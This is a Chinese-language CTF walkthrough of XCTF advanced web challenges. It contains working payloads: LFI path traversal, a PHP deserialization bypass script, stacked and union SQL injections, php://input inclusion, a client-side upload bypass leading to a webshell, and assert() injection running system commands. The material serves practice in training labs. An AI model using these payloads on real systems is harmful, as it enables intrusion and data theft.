攻防世界高手進階web上

baby_web

提示初始界面,嘗試index.php,則回跳轉到1.php,bp代理抓包,能夠看到flag在響應頭部的FLAG字段javascript

圖片

warmup

源碼中有source.phpphp

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
                //返回$_page的長度
            );//返回$_page自己
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
        //:: 爲php 範圍解析操做,調用內部靜態成員須要使用
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> you can't see it

hint.php中爲:flag not here, and flag in ffffllllaaaagggg
LFI本地文件包含,瞭解一下include()函數:html

圖片

mb_substr()
mb_strpos()

構造:?file=hint.php?/../../../../ffffllllaaaagggg前端

圖片

Training-WWW-Robots

瞭解一下robots協議的做用,在robots.txt頁面發現了fl0g.php,訪問便可java

unserialize3

php反序列化:知識點mysql

利用__wakeup()繞過,當序列化後的字符串中表示對象屬性個數的值大於真實的屬性個數時,在對該字符串進行反序列化的時候就會跳過__wakeup()的執行git

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
echo serialize($a);
?>

序列化以後爲:O:4:"xctf":1:{s:4:"flag";s:3:"111";} ,修改1爲大於1的數,傳入繞過exit():
圖片github

Web_php_unserialize

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

繞過__wakeup()、繞過preg_match()、
構造函數、析構函數,創造對象,銷燬對象web

https://www.guildhab.top/?p=990算法

https://www.phpbug.cn/archives/32.htmlO:number == O:+number

__wakeup 在對象被反序列化以後被調用
__construct 當一個對象建立時被調用
__destruct 當一個對象銷燬時被調用
__toString 當一個對象被看成一個字符串使用
__sleep 在對象被序列化以前運行

以下繞過

$flag = new Demo('fl4g.php');
$flag = serialize($flag);
$flag = str_replace('O:4', 'O:+4',$flag); // 繞過正則
$flag = str_replace(':1:', ':2:' ,$flag); //繞過wakeup 函數
echo base64_encode($flag); //對參數進行 base 編碼

php_rce

thinkphp版本爲v5.0.20,網絡搜索rce便可

Web_php_include

文件包含

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

這裏的strstr()能夠用大小寫繞過,Php://input,利用輸入流,post代碼
圖片

圖片

supersqli

1‘ order by 2#有兩個字段,注入時候發現過濾了一些字段

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

普通的繞過沒用,嘗試堆疊注入
1'; show databases;

1'; show tables;

查詢到兩個表:words、1919810931114514

1' show columns from words;

1' show columns from 1919810931114514;

在1919810931114514中看到了flag字段,接下來就是讀取數據的時候了

沒有思路,好多writeup提供了兩種方法:

  • 改表名

由於默認查詢的表爲word表,能夠考慮改表名:使用 alert、rename

  • 預編譯

1'; set @sql=concat('se','lect * from 1919810931114514;');prepare stmt from @sql;execute stmt;#

仍是會有檢測,不過大小寫繞過便可

1'; Set @sql=concat('se','lect * from 1919810931114514;');Prepare stmt from @sql;execute stmt;#

圖片

http://books.gigatux.nl/mirror/mysqlguide4.1-5.0/0672326736/ch02lev1sec1.html

ics-06

在報表系統那,只有一個注入點:http://220.249.52.133:42918/index.php?id=1

沒思路,看了大佬的才知道爆破到id=2333

NewsCenter

一開始沒有想到,這居然是個sqli的題目

  1. 經過 1 1' 發現注入點
  2. 1’ order by 1/2/3/4;#發現爲三個字段
  3. 1’ union select 1,2,3;#發現回顯點爲2,3位置
  4. 查看數據庫已經版本

圖片

查看錶

1' union select 1,group_concat(table_name) ,version() from information_schema.tables where table_schema=database();#

出來兩個表:news,secret_table

查看字段

1' union select 1,group_concat(column_name) ,null from information_schema.columns where table_name="secret_table";#

出來兩個字段:id,fl4g

圖片

NaNNaNNaNNaN-Batman

下載文件web100,查看有<script>標籤,在用文本編輯器打開後,有許多亂碼爲控制字符,

圖片

https://honeywellaidc.force.com/supportppr/s/article/What-do-Control-Characters-SOH-STX-etc-mean-when-scanning

修改文件後綴爲.html,用瀏覽器打開,在控制檯輸出這個變量

圖片

function $() { 
    var e = document.getElementById("c").value; 
    if (e.length == 16) 
        if (e.match(/^be0f23/) != null) 
            if (e.match(/233ac/) != null) 
                if (e.match(/e98aa$/) != null) 
                    if (e.match(/c7be9/) != null) { 
                        var t = ["fl", "s_a", "i", "e}"]; 
                        var n = ["a", "_h0l", "n"]; 
                        var r = ["g{", "e", "_0"]; 
                        var i = ["it'", "_", "n"]; 
                        var s = [t, n, r, i]; 
                        for (var o = 0; o < 13; ++o) { 
                            document.write(s[o % 4][0]); 
                            s[o % 4].splice(0, 1) 
                        } 
                    } 
                } 
document.write('<input id="c"><button onclick=$()>Ok</button>'); 
delete _

能夠知道,須要在輸入的地方構造知足匹配的 e = "be0f233ac7be98aa" 知足條件

web2

又一個代碼審計

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

str_rot13():https://www.php.net/manual/zh/function.str-rot13.php
strrev():https://www.php.net/manual/zh/function.strrev

比較簡單,直接判斷解碼便可:

function decode($str){
    $org = base64_decode(strrev(str_rot13($str)));
    // echo "\n";
    // echo $org;
    for($_0=0;$_0<strlen($org);$_0++){
        $_c=substr($org,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;
    }
    $_org=strrev($_);
    echo "\n";
    echo $_org;
}

圖片

PHP2

看了其餘的一些思路,.phps爲php源碼文件,用來在web端查看源代碼

phps文件就是php的源代碼文件,一般用於提供給用戶(訪問者)查看php代碼,由於用戶沒法直接經過Web瀏覽器看到php文件的內容,因此須要用phps文件代替。其實,只要不用php等已經在服> 務器中註冊過的MIME類型爲文件便可,但爲了國際通用,因此才用了phps文件類型。 它的MIME類型爲:text/html, application/x-httpd-php-source, application/x-httpd-php3-source。

審計代碼:

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?

對 admin 二次url編碼便可:
圖片

upload1

文件上傳題目,審查元素,發現經過前端的check()函數進行過濾,只容許jpg,png文件類型

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');
if(['jpg','png'].contains(ext)){
    submit.disabled = false;
}else{
    submit.disabled = true;
    alert('請選擇一張圖片文件上傳!');
}
}

這裏我是直接禁止了chrome的JavaScript ,因而能夠上傳,上傳後蟻劍鏈接便可
圖片

mfw

看到這種,其實就是信息蒐集

圖片

dirsearch發現.git文件泄露

圖片

經過githack來還原源代碼

圖片

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

assert()函數會將裏面的字符串當作php代碼執行,因此這是一個代碼注入,調用系統函數查看上層目錄的flag.php
$page=cald') or system("cat ./templates/flag.php");//flag返回在了頁面的註釋中

總結

須要學習的還不少,有時間準備一下下面的東西

  • Thinkphp框架
  • Python的一些框架
  • 模板注入
  • php反序列化
相關文章
相關標籤/搜索